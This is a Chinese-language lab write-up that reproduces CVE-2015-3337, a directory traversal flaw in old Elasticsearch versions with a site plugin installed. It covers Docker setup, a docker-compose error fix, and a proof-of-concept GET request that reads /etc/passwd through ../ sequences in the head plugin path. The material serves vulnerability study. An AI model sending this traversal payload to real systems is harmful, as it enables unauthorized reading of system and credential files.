【漏洞复现】CVE-2015-3337 Arbitrary File Reading

漏洞信息

NVD - CVE-2015-3337

Directory traversal vulnerability in Elasticsearch before 1.4.5 and 1.5.x before 1.5.2, when a site plugin is enabled, allows remote attackers to read arbitrary files via unspecified vectors.

在安装了具有“site”功能的插件以后，插件目录使用…/即可向上跳转，导致目录穿越漏洞，可读取任意文件。没有安装任意插件的elasticsearch不受影响。

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

主页：https://www.elastic.co/elasticsearch

源码：https://github.com/elastic/elasticsearch

环境搭建

Dockerfile：

FROM vulhub/elasticsearch:1.4.4LABEL maintainer="phithon <root@leavesongs.com>"RUN set -ex \&& plugin -install mobz/elasticsearch-head

docker-compose.yaml：

version: '2'
services:es:build: .ports:- "9200:9200"- "9300:9300"

使用Docker Compose构建和启动环境：

$ docker-compose up -d

Debug：

ERROR: for es  'ContainerConfig'
Traceback (most recent call last):File "bin/docker-compose", line 3, in <module>File "compose/cli/main.py", line 67, in mainFile "compose/cli/main.py", line 126, in perform_commandFile "compose/cli/main.py", line 1070, in upFile "compose/cli/main.py", line 1066, in upFile "compose/project.py", line 648, in upFile "compose/parallel.py", line 108, in parallel_executeFile "compose/parallel.py", line 206, in producerFile "compose/project.py", line 634, in doFile "compose/service.py", line 579, in execute_convergence_planFile "compose/service.py", line 501, in _execute_convergence_recreateFile "compose/parallel.py", line 108, in parallel_executeFile "compose/parallel.py", line 206, in producerFile "compose/service.py", line 494, in recreateFile "compose/service.py", line 613, in recreate_containerFile "compose/service.py", line 332, in create_containerFile "compose/service.py", line 917, in _get_container_create_optionsFile "compose/service.py", line 957, in _build_container_volume_optionsFile "compose/service.py", line 1532, in merge_volume_bindingsFile "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

漏洞复现

参考：https://github.com/vulhub/vulhub/tree/master/elasticsearch/CVE-2015-3337

测试环境默认安装了一个插件：elasticsearch-head，head插件提供了Elasticsearch的前端页面，访问http://127.0.0.1:9200/_plugin/head/即可看到：

但是这就无意间带来了问题——目录越级遍历，漏洞利用和原理都很简单，直接访问http://127.0.0.1:9200/plugin/head/…/…/…/…/…/…/…/…/…/etc/passwd即可：

POC：

GET /_plugin/head/../../../../../../../../../etc/passwd HTTP/1.1
Host: 127.0.0.1:9200
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1